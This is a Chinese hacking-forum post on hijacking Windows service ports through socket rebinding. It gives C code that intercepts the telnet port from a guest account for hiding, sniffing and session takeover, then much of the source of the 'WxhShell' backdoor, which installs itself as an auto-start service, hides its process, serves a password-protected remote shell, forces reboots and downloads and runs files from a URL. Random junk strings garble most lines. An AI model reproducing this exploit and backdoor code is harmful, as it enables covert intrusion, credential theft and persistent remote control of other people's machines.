社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18171阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Tf9&,!>V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WA<H  
-;sJ25(  
  saddr.sin_family = AF_INET; aw %>YrJ  
"CIpo/ebL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `DI{wqV9  
<FXQxM5"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HT{F$27W  
6>@(/mh*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J%:WLQo  
bk/.<Rt  
  这意味着什么?意味着可以进行如下的攻击: +<'uw  
NFdJb\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &z./4X  
z2rQ$O -#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) " 7l jc  
F?}m8ZRv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j09mI$2y67  
5Z^$`$/.v#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6&g!ZE'G  
38"8,k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O{;M6U8C\  
RA*_&Ll&!C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M3hy5 j(b  
0|WOReskK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7yY1dR<Y  
({*.!ty  
  #include vS~AxeW/7R  
  #include 0lLr[  
  #include N%|^;4}k  
  #include    fMWXo)rzj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (1j(* ?2  
  int main() @/_XS4  
  { hXV4$Dai  
  WORD wVersionRequested; /V#MLPA  
  DWORD ret; 5A0K V7N5  
  WSADATA wsaData; nG&w0de<>  
  BOOL val; -=-x>(pRW7  
  SOCKADDR_IN saddr; Jm{As*W>  
  SOCKADDR_IN scaddr; I T*fjUY&  
  int err; N&R '$w  
  SOCKET s; U92B+up-  
  SOCKET sc; f9h:"Dnzin  
  int caddsize; OlD7-c2L]  
  HANDLE mt; U p]VU9z  
  DWORD tid;   5*G8W\ $  
  wVersionRequested = MAKEWORD( 2, 2 ); Y;a6:>D%cT  
  err = WSAStartup( wVersionRequested, &wsaData ); J,dG4.ht  
  if ( err != 0 ) { }M"-5K}  
  printf("error!WSAStartup failed!\n"); >i><s>=I`  
  return -1; "wc`fg"3  
  } [15hci+-  
  saddr.sin_family = AF_INET; b&hF')_UOz  
   UiGUaBmF*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~G|{q VO7A  
>#${.+y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9*G L@_c  
  saddr.sin_port = htons(23); sg!=Q+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c]cO[T_gGa  
  { x9XGCr  
  printf("error!socket failed!\n"); uAPLT~  
  return -1; 1A,4 Aw<  
  } =$:4v`W0(  
  val = TRUE; 1CF7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 44/ 0}v]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @&am!+z  
  { aT`02X   
  printf("error!setsockopt failed!\n"); dpc=yXg>"c  
  return -1; &?`d8\z  
  } ; @[.$Q@I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l(0&6ENyj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,b2O^tJF#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P:zEx]Y%  
o'= [<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2vW,.]95M  
  { e+]YCp[(  
  ret=GetLastError(); EmBfiuX  
  printf("error!bind failed!\n"); B?/12+sR  
  return -1; D6pEQdX`  
  } i?P]}JENM  
  listen(s,2); z- {"pI  
  while(1) W~W?<%@  
  { gZ79u  
  caddsize = sizeof(scaddr); hg86#jq%  
  //接受连接请求 e\|E; l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +Qb2LR  
  if(sc!=INVALID_SOCKET) TZ[F u{gZ  
  { .{Eg(1At  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v J,xz*rc`  
  if(mt==NULL) *}Ae9  
  { a#^4xy:  
  printf("Thread Creat Failed!\n"); BZ'y}Zu*  
  break; o^.s!C%j  
  } LeRh (a`=$  
  } ggYIq*4  
  CloseHandle(mt); 'amex  
  } `[W)6OUCx}  
  closesocket(s); '!|E+P-  
  WSACleanup(); N;Gf,pE  
  return 0; jy)9EU=  
  }   Y9(i}uTi  
  DWORD WINAPI ClientThread(LPVOID lpParam) iM-hWhU  
  { D4x'  
  SOCKET ss = (SOCKET)lpParam; enfu%"(K)  
  SOCKET sc; ^Qb!k/$3y  
  unsigned char buf[4096]; (x*2BEn|  
  SOCKADDR_IN saddr; \2LA%ZU  
  long num; "N[gMp6U  
  DWORD val; D3 Ea2}8  
  DWORD ret; J~ gkGso  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >Gu>T\jpe.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HpgN$$\@  
  saddr.sin_family = AF_INET; P^{`d_[K%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0aq-drl5\  
  saddr.sin_port = htons(23); $@ #G+QQ_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [7t0[U~3?  
  { MrygEC 5  
  printf("error!socket failed!\n"); 5'}!v  
  return -1; I]S(tx!  
  } \=: g$_l  
  val = 100; YUE 1 '}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L[9+xK^g  
  { &wWGZ~T  
  ret = GetLastError(); p`V9+CA  
  return -1; oFx gR9  
  } N 7|W.(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y(;[L`"  
  { hQRc,d6x5  
  ret = GetLastError(); jC }u>AB  
  return -1; KHC(MdZ  
  } C3`.-/{D"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &[\arwe)  
  { ;]ZHD$g  
  printf("error!socket connect failed!\n"); ~#xs `@{s  
  closesocket(sc); 6(;[ov1  
  closesocket(ss); `1}yB  
  return -1; l~ >rpG  
  } L?5t <`#lw  
  while(1) Kof-;T  
  { pF{Ri  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $7ME a"a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7PPsEU:rf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .6]cu{K(  
  num = recv(ss,buf,4096,0); 8XXTN@&,  
  if(num>0) -cS4B//IK8  
  send(sc,buf,num,0); ).6/ii9gt  
  else if(num==0) 6 v#sq  
  break; R(#;yn  
  num = recv(sc,buf,4096,0); I Q`aDo-V  
  if(num>0) X>YOo~yS5  
  send(ss,buf,num,0); +c2>j8e6  
  else if(num==0) '<j p.sZQ  
  break; A.*nDl`H  
  } S`PSFetC  
  closesocket(ss); cnO4N UDv  
  closesocket(sc); r/w@Dh]{_  
  return 0 ; R3 =E?us!  
  } `9)2nkJk'z  
0iq$bT|  
.jU0Hu{F4  
========================================================== KPK!'4,cu  
B}bNl 7 ~  
下边附上一个代码,,WXhSHELL Q9 ",  
~|jy$*m4A  
========================================================== {:+^[rer j  
ijSYQ  
#include "stdafx.h" Vc<n6  
<GlV!y  
#include <stdio.h> H`..)zL|  
#include <string.h> ,l"2MXD  
#include <windows.h> BuO J0$  
#include <winsock2.h> =hb87g.  
#include <winsvc.h> atnbM:t  
#include <urlmon.h> s_+XSH[=f  
~d8o,.n`1  
#pragma comment (lib, "Ws2_32.lib") |/ 7's'  
#pragma comment (lib, "urlmon.lib") z{_Vn(Kg   
D*b|(Oi  
#define MAX_USER   100 // 最大客户端连接数 '\qr=0aW  
#define BUF_SOCK   200 // sock buffer FX%E7H  
#define KEY_BUFF   255 // 输入 buffer :jCaDhK  
JG$J,!.\  
#define REBOOT     0   // 重启 v Cr$miZ  
#define SHUTDOWN   1   // 关机 l$@lk?dc  
zL}DLfy>R  
#define DEF_PORT   5000 // 监听端口 uU"s50m  
6!m#_z8qG3  
#define REG_LEN     16   // 注册表键长度 f2XD^:Gc  
#define SVC_LEN     80   // NT服务名长度 e;\c=J,eE  
J~6*d,Ry`  
// 从dll定义API D~);:}}>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bm|8Jbsb&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dRC+|^ rSC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yQ2[[[@k@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xrd ^vE  
:RG6gvz  
// wxhshell配置信息 $9$NX/P  
struct WSCFG { 1.CYs<  
  int ws_port;         // 监听端口 6 d6SP)|j  
  char ws_passstr[REG_LEN]; // 口令 wEqCuhZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~0:c{v;4  
  char ws_regname[REG_LEN]; // 注册表键名 n\,W:G9AR7  
  char ws_svcname[REG_LEN]; // 服务名 3_:k12%p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,bg#pG!x Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j R:Fih-}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (CwaO m{g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no an@Ue7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4\iQ%fb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;bmd<1  
J>&GP#7}  
}; 1Tkz!  
3iwZUqyq  
// default Wxhshell configuration 7?@v}%w  
struct WSCFG wscfg={DEF_PORT, )HcC\[  
    "xuhuanlingzhe", b9jm= U  
    1, w?"l4.E%  
    "Wxhshell", 3 Q;l*xu  
    "Wxhshell", efm<bJB2  
            "WxhShell Service", 0cVXUTJ|W  
    "Wrsky Windows CmdShell Service", =$J2  
    "Please Input Your Password: ", s"Wdbw(O'  
  1, ;anG F0x  
  "http://www.wrsky.com/wxhshell.exe", >Li?@+Zl  
  "Wxhshell.exe" 0SYkDI  
    }; L x&ZWF$  
:}-[%LSV  
// 消息定义模块 v'=APl+_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  (w fZ!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^} #!?" Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J.(_c ' r  
char *msg_ws_ext="\n\rExit."; wXnt3)e  
char *msg_ws_end="\n\rQuit."; 1lM0pl6M  
char *msg_ws_boot="\n\rReboot..."; J %t1T]y~  
char *msg_ws_poff="\n\rShutdown..."; TMrmyvv  
char *msg_ws_down="\n\rSave to "; *W  l{2&  
|9h[Q[m  
char *msg_ws_err="\n\rErr!"; ~Q0}>m,S  
char *msg_ws_ok="\n\rOK!"; Yv)/DsSyL  
Et (prmH  
char ExeFile[MAX_PATH]; P:+:Cm<  
int nUser = 0; RPu-E9g@  
HANDLE handles[MAX_USER]; `:&{/|uP7  
int OsIsNt; TV}SKvu  
bhRpYP%x  
SERVICE_STATUS       serviceStatus; [F$3mzx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9UZX+@[F  
%WR  
// 函数声明 %F7k| Na  
int Install(void); Yp8$0KK  
int Uninstall(void); IM+PjYJ  
int DownloadFile(char *sURL, SOCKET wsh); R!=XMV3$PH  
int Boot(int flag); D+U^ pl-  
void HideProc(void); iDA`pemmi&  
int GetOsVer(void); 9b0Z Ey{  
int Wxhshell(SOCKET wsl); NZ#z{JI =+  
void TalkWithClient(void *cs); e)M1$  
int CmdShell(SOCKET sock); MD,-<X)Qy  
int StartFromService(void); `^/Q"zH  
int StartWxhshell(LPSTR lpCmdLine); B4?P"|  
PSE![whK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !PgYn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <Aa%Uwpc  
b#F3,T__`Y  
// 数据结构和表定义 Z7Kc`9.0|  
SERVICE_TABLE_ENTRY DispatchTable[] = mEGMe@37  
{ _Cs.%R!r  
{wscfg.ws_svcname, NTServiceMain}, KLk37IY2\  
{NULL, NULL} \,WPFV  
}; V\_ &2',t  
^l9S5 {  
// 自我安装 C-M op,w  
int Install(void) CAXU #  
{ l}m@9 ~oC  
  char svExeFile[MAX_PATH]; {0|^F!1z  
  HKEY key; /N $T[  
  strcpy(svExeFile,ExeFile); V\ |b#?KL  
7}Gy%SJ`  
// 如果是win9x系统,修改注册表设为自启动 |Qm 7x[i  
if(!OsIsNt) { :KQ<rLd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uwbj`lpf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7"gy\_M  
  RegCloseKey(key); t((0]j^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nPKj%g3h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /+rHy7(\  
  RegCloseKey(key); .e6:/x~p*  
  return 0; O_E[F E:+  
    } {AZW."?  
  } az w8BK  
} 'b-}KDP  
else { ]8RcZn  
{h2D}F  
// 如果是NT以上系统,安装为系统服务 J~= =<?j:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TY? Fs-  
if (schSCManager!=0) +=||c \'  
{ 5n_<)Ycj  
  SC_HANDLE schService = CreateService *_ "j"{  
  ( pvX\k X3}  
  schSCManager, 6 ,!]x>B  
  wscfg.ws_svcname, >Zr`9$i  
  wscfg.ws_svcdisp, ?g!)[p`v  
  SERVICE_ALL_ACCESS, r!;NH3 *  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |[*b[O 1W  
  SERVICE_AUTO_START, B$fL);l-  
  SERVICE_ERROR_NORMAL, 1e }wDMU(  
  svExeFile, V< J~:b1V  
  NULL, )#1@@\< ^T  
  NULL, "Li"NxObCA  
  NULL, (mv8_~F0  
  NULL, .6r&<*  
  NULL Mq$e5&/  
  ); _KKG^ u<  
  if (schService!=0) |W?x6]~.R  
  { d8av`m  
  CloseServiceHandle(schService); z7NaW e  
  CloseServiceHandle(schSCManager); f7mI\$CN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^)X^Pcx  
  strcat(svExeFile,wscfg.ws_svcname); *C$ W^u5h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &7;W=uF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 90Q}9T\  
  RegCloseKey(key); hEDj"`Px  
  return 0; 7Ij'!@no  
    } pZXva9bE  
  } [&e}@!8O`  
  CloseServiceHandle(schSCManager); lrK5q  
} }E*#VA0/nY  
} 2nk}'HBe  
9kTU|py  
return 1; k kY*OA  
} 1SQ&m H/  
- v`;^X  
// 自我卸载 QH;1*  
int Uninstall(void) s<n5^Vxy  
{ iB{O"l@w  
  HKEY key; =xg pr*   
wuI+$?  
if(!OsIsNt) { st~f}w@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Z Aue.  
  RegDeleteValue(key,wscfg.ws_regname); +tl&Jjdm  
  RegCloseKey(key); "J$vt`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sa6}xe."M,  
  RegDeleteValue(key,wscfg.ws_regname); t-e:f0iz  
  RegCloseKey(key); )/UPDdO  
  return 0; !'MZeiLP  
  } nx8 4l7<  
} Za5*HCo  
} B]#0]-ua  
else { PO1sVP.S  
MYDAS-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .(ki(8Z N  
if (schSCManager!=0) "2$C_aE  
{ UJ2Tj+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t /1KKEZM  
  if (schService!=0) >}Za)  
  { :k#Y|(  
  if(DeleteService(schService)!=0) { b1R%JY7/S  
  CloseServiceHandle(schService); PohG y  
  CloseServiceHandle(schSCManager); N.l+9L0b  
  return 0; }]'Z~5T  
  } ">j}!n 8J  
  CloseServiceHandle(schService); ^3^n|T7le  
  } "oz qfh  
  CloseServiceHandle(schSCManager); \IQf|  
} %[l5){:05  
} b[%sKl  
K]1A,Q  
return 1; amK"Z<V F  
} g kT`C  
c R*D)'/tl  
// 从指定url下载文件 ~K5eO-  
int DownloadFile(char *sURL, SOCKET wsh) X3 P~z8_  
{ Vr+X!DeY  
  HRESULT hr; l q~^&\_#  
char seps[]= "/"; oqc89DEbJ  
char *token; An{`'U(l  
char *file; qk<(iVUO  
char myURL[MAX_PATH]; kFg@|#0v9  
char myFILE[MAX_PATH]; gG!L#J?  
c_"]AhV~Mg  
strcpy(myURL,sURL); 9LI #&\lba  
  token=strtok(myURL,seps); +mIO*UQi  
  while(token!=NULL) v[E*K@6f  
  { 4"nb>tA  
    file=token; Kc$j<MRtv  
  token=strtok(NULL,seps); _Ryt|# y  
  } ph qx<N@  
i7 _Nv  
GetCurrentDirectory(MAX_PATH,myFILE); G>& Tap>  
strcat(myFILE, "\\"); W$>srdG0$  
strcat(myFILE, file); ?Z 9C}t]  
  send(wsh,myFILE,strlen(myFILE),0); % put=I  
send(wsh,"...",3,0); ">_<L.,I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SVB> 1s9F  
  if(hr==S_OK) 0}tf*M+a  
return 0; ek\8u`GC  
else 7}>Zq`]~  
return 1; FOV%\=Hl  
/ Vy pN,  
} {Rc mjI7  
n,/eT,48`  
// 系统电源模块 5#|D1A  
int Boot(int flag) X$Eg(^La  
{ 8S/SXyS  
  HANDLE hToken; *'[8FZ|dQ  
  TOKEN_PRIVILEGES tkp; @-ps[b`z  
OCHjQc  
  if(OsIsNt) { H2[VZ&Pg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5ar2Y$bY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mUSrCU_}  
    tkp.PrivilegeCount = 1; 9j<qi\SSI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r&!Ebe-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }.*"ezaZw  
if(flag==REBOOT) { Jy<hTd*q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oHh~!#u  
  return 0; 1 1Sflj  
} ~C M%WvS  
else { w(Jf;[o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pV:;!+  
  return 0; E/+H~YzO  
} T1$=0VSEa+  
  } X% JQ_Z  
  else { 3<F\ 5|  
if(flag==REBOOT) { .Z?@;2<l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T<XGG_NOl  
  return 0; ^i+ d3  
} _C"=Hy{  
else { C.]\4e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4gD;XNrV  
  return 0; "- 2HKs  
} WX~: Y,l+u  
} t"# .I?S0  
Bk)E]Fk|  
return 1; O2;iY_P7lV  
} Odn`q=  
mv1g2f+  
// win9x进程隐藏模块 )WWqi,T}  
void HideProc(void) IhR;YM[K  
{ k]>1@t  
=:fN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^lvYj E  
  if ( hKernel != NULL ) x)}.@\&%  
  { h95a61a,Vy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [KcF0%a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kx4_`;>  
    FreeLibrary(hKernel); xxy (#j$  
  } b?^CnMO  
L/Tsq=  
return; 3bsuE^,.@  
} u B~C8}  
LC>bZ!(i#  
// 获取操作系统版本 %>io$o  
int GetOsVer(void) npCiqO  
{ ,vcg%~-  
  OSVERSIONINFO winfo; y,/Arl}yc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [[XbKg`"?  
  GetVersionEx(&winfo); wjzR 8g0bQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qr.SPNUFK  
  return 1;  Uf,fd  
  else KT3n -Y-,  
  return 0; BT*z^Z H  
} (_0r'{`  
e'l@M$^  
// 客户端句柄模块 q 3nF\Me0  
int Wxhshell(SOCKET wsl) *`]#ntz9  
{ x*#9\*@EI  
  SOCKET wsh; N\{{:<Cp\  
  struct sockaddr_in client; <sncW>?!~  
  DWORD myID; )lh Pl  
#@UzOQ>  
  while(nUser<MAX_USER) aam6R/4  
{ S"<"e\\}"_  
  int nSize=sizeof(client); ?9Hs,J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O~*`YsL9  
  if(wsh==INVALID_SOCKET) return 1; b # |  
eAl;:0=%L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xJ rKH  
if(handles[nUser]==0) Z#vU~1W  
  closesocket(wsh); b+#A=Z+Pr  
else 1@Gmzh  
  nUser++; =O o4O CF2  
  } ^[g7B"`K5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $! R]!s  
*Dhy a g  
  return 0; eEmuE H@X  
} `#3FvP@&  
;RzbPlkl  
// 关闭 socket wa%;'M&  
void CloseIt(SOCKET wsh) oYmLJzCf  
{ =\FV_4)  
closesocket(wsh); E[a|.lnV  
nUser--; efrVF5,y?  
ExitThread(0); [XbNZ6  
} T$IwrTF@?  
p:Hg>Z  
// 客户端请求句柄 9#MY(Hr  
void TalkWithClient(void *cs) -d)+G%{  
{ p0sq{d~  
o>jM4sk$  
  SOCKET wsh=(SOCKET)cs; Ad)::9K?J  
  char pwd[SVC_LEN]; 6 k+4R<  
  char cmd[KEY_BUFF]; SCL8.%z D  
char chr[1]; /v-:ca)7mI  
int i,j; IBm"VCg{Ew  
_q z^|J  
  while (nUser < MAX_USER) { _j sJS<21  
6F:< c  
if(wscfg.ws_passstr) { x^V9;V@6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b^^ .$Gu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q:^.Qs"IK  
  //ZeroMemory(pwd,KEY_BUFF); oD.[T)G?  
      i=0; ~\khwNA  
  while(i<SVC_LEN) { O.z\ VI2f  
dxi5p!^^9  
  // 设置超时 fq<JX5DER  
  fd_set FdRead; s ;2ih)[  
  struct timeval TimeOut; BI|YaZa+p  
  FD_ZERO(&FdRead); :lE_hY  
  FD_SET(wsh,&FdRead); $I|6v  
  TimeOut.tv_sec=8; r7Zx<c  
  TimeOut.tv_usec=0; (RU\a]Ry  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k0@*Up3{7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BN%;AQV  
[Ol~}@gV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,GUOq!z  
  pwd=chr[0]; C3:CuoE X  
  if(chr[0]==0xd || chr[0]==0xa) { 60z8U#upM  
  pwd=0; z)F<{]%  
  break; b]6@ O8  
  } bmQ-5SE  
  i++; ><wYk)0E  
    } C @nA*  
#5X535'ze  
  // 如果是非法用户,关闭 socket yvIzgwN%s!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gT{WH67u  
} u:w   
zff<#yK1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .D{He9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _lMSW6  
d#1yVdqRl  
while(1) { 9A,ok[J  
KdXqW0nm  
  ZeroMemory(cmd,KEY_BUFF); 0b(x@>  
@@V{W)r l  
      // 自动支持客户端 telnet标准   p6X-P%s  
  j=0; !:wA\mAd  
  while(j<KEY_BUFF) { l05'/duuJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *!^l ZpF  
  cmd[j]=chr[0]; BcxALRWE  
  if(chr[0]==0xa || chr[0]==0xd) { "cz'|z`  
  cmd[j]=0; n?:%>Os$  
  break; VT [TE  
  } -?p4"[  
  j++; {Jc.49  
    } Om_- #S  
; <l#k7/  
  // 下载文件 xG WA5[YV  
  if(strstr(cmd,"http://")) { YY4q99^K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -dS@ l'$  
  if(DownloadFile(cmd,wsh)) }D[j6+E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); txik{' :  
  else i:60|ngK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .$]-::&  
  } 5m2f\^U  
  else { j;BlpRD}  
\l1==,wk  
    switch(cmd[0]) { $X,dQ]M  
  TW6F9}'f&  
  // 帮助 +~$pkxD"  
  case '?': { G^V a$ike  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mp?L9  
    break; G@zJf)u}  
  } fS$;~@p  
  // 安装 :i>If:>g  
  case 'i': { hgK 4;R  
    if(Install()) =Q*x=}NH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /B<QYvv  
    else qLV3Y?S!L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MdDL?ev  
    break; UM<!bNz`  
    } <Hr~|oG  
  // 卸载 :-Ml?:0_X  
  case 'r': { e}+Zj'5  
    if(Uninstall()) @{"?fqo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F :og:[  
    else mKsJ[)#.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Si3 aq3  
    break; r{ KQ3j9O  
    } erh ez  
  // 显示 wxhshell 所在路径 ;I?x; lH  
  case 'p': { J7Mbv2D  
    char svExeFile[MAX_PATH]; EbG&[v  
    strcpy(svExeFile,"\n\r"); g`C\pdX"B  
      strcat(svExeFile,ExeFile); }T-'""*  
        send(wsh,svExeFile,strlen(svExeFile),0); O-huC:zZh  
    break; {&J~P&,k  
    } pI_dV44W  
  // 重启 "W~vSbn7  
  case 'b': { h5(OjlMC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]!j%Ad  
    if(Boot(REBOOT)) KP&xk1 3)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m%=*3gH]&  
